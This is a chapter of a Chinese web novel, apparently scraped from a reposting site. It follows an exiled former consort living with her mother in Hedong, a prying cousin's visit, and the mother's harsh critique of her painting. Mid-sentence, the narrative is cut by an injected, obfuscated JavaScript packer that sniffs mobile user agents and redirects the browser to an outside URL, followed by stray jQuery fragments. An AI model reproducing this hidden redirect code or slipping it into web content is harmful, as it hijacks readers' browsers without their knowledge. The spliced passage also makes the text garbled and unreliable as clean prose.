121. 第121章 再不会

作品:《拒皇妃

    独自待在不知名院落里的令柔,浑浑噩噩地等了几天也没等出什么结果,既没听说天下大丧,也没听说皇帝身体好转,只僵坐着,不知时事。


    她焦急等着,不停给家中写信,终于在几日后迎来了母亲。她娘当然懂她在担忧些什么,不等她问,直接答:“皇帝醒来了,不过不许你回京城,只许你在这里待着。”


    令柔不解:“这是什么地方?”她都不知道自己来了哪里,跟侍女们说话也没人回答,只每天抬着头望天,却不知这一块天是哪里的天。


    林玉蝉低声和女儿解释:“是河东啊,是你外祖的故乡。”她不知陛下为何一定要令柔来这么个地方,可却从她自己来说,却是天然信任这一处,将女儿安置在这里也算是放心。


    令柔狠狠皱紧了眉头,她想问的可并不是这个,幸好她娘也是懂她,吞吐着说:“宫中大吉……”


    母女俩不敢妄议皇室,只隐晦地说。说宫中大吉,常是说皇子降生或是有什么祥瑞临世,可现在还能有什么皇子?大概大吉,就是说皇帝已撑过了这一遭而已。


    “那是好事,大好事”,令柔冷静下来,她这话是出自本心的,抛却她与赵彧的私仇不谈,他确实是个称职的好皇帝,伤得再重也比真死了更能稳住朝局。“有没有说要怎么安排我?”


    说起“安排”,她已经有点麻木不知所谓了,习惯了被安排、被指使,甚至有点失去了自己作主的能力。这世上究竟有什么是她能说了算的?若是从来就做不好什么事情,那不如干脆就老实些,不要再给旁人带来什么麻烦。


    林玉蝉看出女儿心灰意冷,一下将她抱在怀里哄:“儿,别怕,他们不要你回去,娘就也不回去了,娘在这里陪着你。”她苦命的儿啊!怎么就是活不消停呢!


    “你爹领着官衔,不好出京,但他也挂念着你呢,你别惦记他。咱们娘俩就在这地方待着,不必京城更好?”


    令柔却不买账:“比京城好在哪儿?在京城不能出门是因为认识我的人太多,我这个已死的孤魂野鬼不适宜出门吓到他们;可在河东就好多了吗?不还是一样不能出门。”


    “没那么束缚你,想出门咱们就出去逛逛也不妨事。”


    “那午后您带我出门去走走吧,这地方您肯定熟悉。”令柔难得有点精神了,像小时那般摇着她娘手臂要出去玩耍。


    林玉蝉笑道:“你娘在京城中长大,从没来到过河东,对这地方都没你熟悉。倒是你舅舅,早年跟着你外祖母在这地方生活过几年,后来你外祖出事,又举家搬回了河东,他才熟悉这里。”


    提起舅舅,令柔脸色黯淡下来,语气也带了那么一两分犹疑:“娘你是原谅舅舅了吗?你忘了当年……”


    接下来的话她没说,她这个当晚辈的也不适合说,只好出言提醒着一两句。


    “谈什么原谅不原谅的?”林玉蝉淡淡道,声音没多大起伏:“左不过就这样罢了,你娘这一生还有几个亲人呢?真论起血缘来,也就剩你和他了。还说我呢,你不也是同你表姐和好了吗?”


    令柔轻轻咬唇:“那怎么能一样。”她正想解释为什么不一样,又被横了一眼,只好闭了嘴巴不再说,过了一会儿又开了话头:“过了几年,她还能如愿吗?”


    “谁?谁如愿?”林玉蝉没反应过来,可想想方才她们在谈论谁便也能猜测一二:“你说慧漪?”


    “这次宫中那位有惊无险地过去了,那么下一次呢?若真有不测,她能不能得偿所愿?”赵彧若是驾崩,新立者未必有多顾及她,那她可怎么办呢?


    林玉蝉双眼一下瞪大,训斥道:“胡言乱语些什么!你这话都敢说,怎么没点谨慎心呢!”皇帝的安危岂是她们能揣测的?不过说起这事,她倒也有些见解:“你不必担忧她,陛下秉承先帝遗志,必定会为林家备好退路,不让他们太难度过这关,再加上她又不是什么蠢人,新来的还未必能拿捏得住她。”


    不论这个,就说她三番两次为了令柔触怒皇帝却没得什么报复就知道,她这个皇后当得算是稳当,不会有什么波澜。


    听了这话,令柔也说不好自己是什么滋味,半是安心半是恼怒,但也没怎么再说话,决意将这事情翻一个篇。


    而后几月,她们就再没听到过宫中如何,皇帝又如何,只是关起门来过自己的小日子。期间也不是没有宵小作乱,但这一次她们可不是偷溜出来的,林玉蝉带足了家丁护卫,摆足了国公夫人的排场,旁人自然也就知情识趣。这般没什么不好,却只有一个坏处——河东各处都知了,林尚书的小女儿如今成了国公夫人,且长居于此。


    不长眼的能教训,带笑脸的却不好推拒。林家祖辈在此地生根,发源至今影响极深,就是她们这么个小小院落,也能让人找上门来拜访。拜访倒也就罢了,令柔只在来人的时候独自一个躲到屋里,不掺和到她们中间,寻常人就也不会问起她。


    可有一个却不同,这人是与令柔曾有过一面之缘的林二姑娘,也就是林慧漪的亲二姐。她这人可真是,没两句就似有似无地扯到令柔身上,对她宫里生活感兴趣极了一般,令柔听得直翻白眼,偏她还走不得,只能坐好了听她们讲。


    “柔儿从前在宫中得盛宠,这是怎么流落的,竟到了这头?是有奸人所害还是另有缘由?”她是真的好奇,太好奇了,以至于无所顾忌一般直接问出来。皇后当年给她来信的时候,只说让她照顾好这一位,却没说什么旁的,空引来她的钻研心却不给她解答,可把她闷坏了。


    令柔听了她这问话烦得不行,恨不能直接喊人来将她带走。可现在她娘还在呢,席面不是她能说了算的,只好稍微忍了一忍,面上却不好看,也不说话。


    林玉蝉瞥女儿一眼,含笑开口道:“你若坐不住了就先回去歇一歇吧,你表姐不是外人,你大可放肆些。”她没回应外甥女那有些冒犯的问话,而是不顾着什么待客的礼仪先让女儿回去。


    令柔得了首肯,立刻起身,敷衍地向着客人扶身告辞,脚步不停一下立刻往回冲。


    “她从前受过伤,身子不大好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917676|163876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,坐不住的。”林玉蝉笑着向来人解释,也不管她信不信,直接岔开了话题。林二姑娘是客,也不好太挑剔人,只好笑道无妨,心却道她们母女太乖张,难怪姜氏在宫中待不得,不得不出宫来躲着。


    林玉蝉打发走了难缠的客人,含着笑到女儿厢房中去看,却见她已完全忘却了方才的不愉,自顾自拿起画笔,连有人到来都没发现。她就也没出声,只是静静站在女儿身旁看她下笔,终于等她落下最后一笔才出声。


    令柔正闭眸歇息一会儿,冷不丁却听到母亲声音,就立即抬眼问:“娘,您来讲一讲我这一幅。”她从前是不要母亲来评画的,不是嫌她太说教,是嫌她水准不大够用,不如画师鞭辟入里。不过这地方也寻不到什么正经画师,那么听一听她娘的也无妨。


    林玉蝉还真认真看了一番,看中不停摇头,半晌后说:“技巧尚存,灵气却全无。你这些年都干什么去了,还不如你十三四时。”


    她可从来都不是什么慈母,一向有什么便说什么,即使察觉到女儿有点失落也不留情,继续痛击:“客气地、笼统地说,你这是没灵气,若是不客气地说,你这就是僵硬又死板,人像无神如同草木,草木又僵直如铁石,偏偏你这画的石头也没个石头样子,没形没状的,太无聊。”


    令柔被数落得抬不起头,默默道:“您还说我去做什么了,我做什么去了您不清楚吗?被迫嫁给了不喜欢的人,生了一个没声息的孩子,成了天下女子要警惕成为的‘典范’。后来当今陛下登基,我到寺庙里做了半年尼姑,而后没名没份在宫中待了两年,封妃后过得也不畅快,为了避宠又自己跳进了池子,累得禁足半年不说,还再也没个说话的人;好容易逃出了宫,又很快就被发现带回去,又在没人知晓的角落待了四五年。这样忙碌,这样不由己身,我哪里有功夫去做自己想做的事情?”


    虽说在说这些事,令柔表情却没什么起伏,仿佛是在说别人的故事一般。她也真是这样想,这不是她,这是姜令柔,姜令柔已经死去了,葬下了,活着的不是她,只是个没用的躯壳。


    林玉蝉看她这样子,不由头疼。她是心疼啊,她唯一的孩子,又受了这样多的苦楚,她如何才不心疼?可她也不能总这样啊,一味沉湎于过去又有什么作用?这是从前发生的事情,又不是往后将要发生的事情,她有什么好怕?


    “柔儿”,林玉蝉将女儿搂在怀里,轻声说:“好孩子,是娘错了,娘不该说那些话来引你伤心。可你要知道,支撑一个人活下去的,或是支撑一段关系继续的,不是从前,而是未来。那都是过去了,不是你将要经历的,你不要再怕,你这辈子所有的苦头都过去了,未来再也不会有任何苦楚。”


    令柔泪眼惺忪,却还坚持着不肯让泪水掉下来,她迷蒙着眼看向她娘,苦涩问:“你保证吗?保证我不会再受任何伤?保证我以后能做任何我喜欢的事情,再也不被强迫?”


    “我保证,保证不会再让你受任何苦楚。”


    四年后,山陵崩,天下大丧。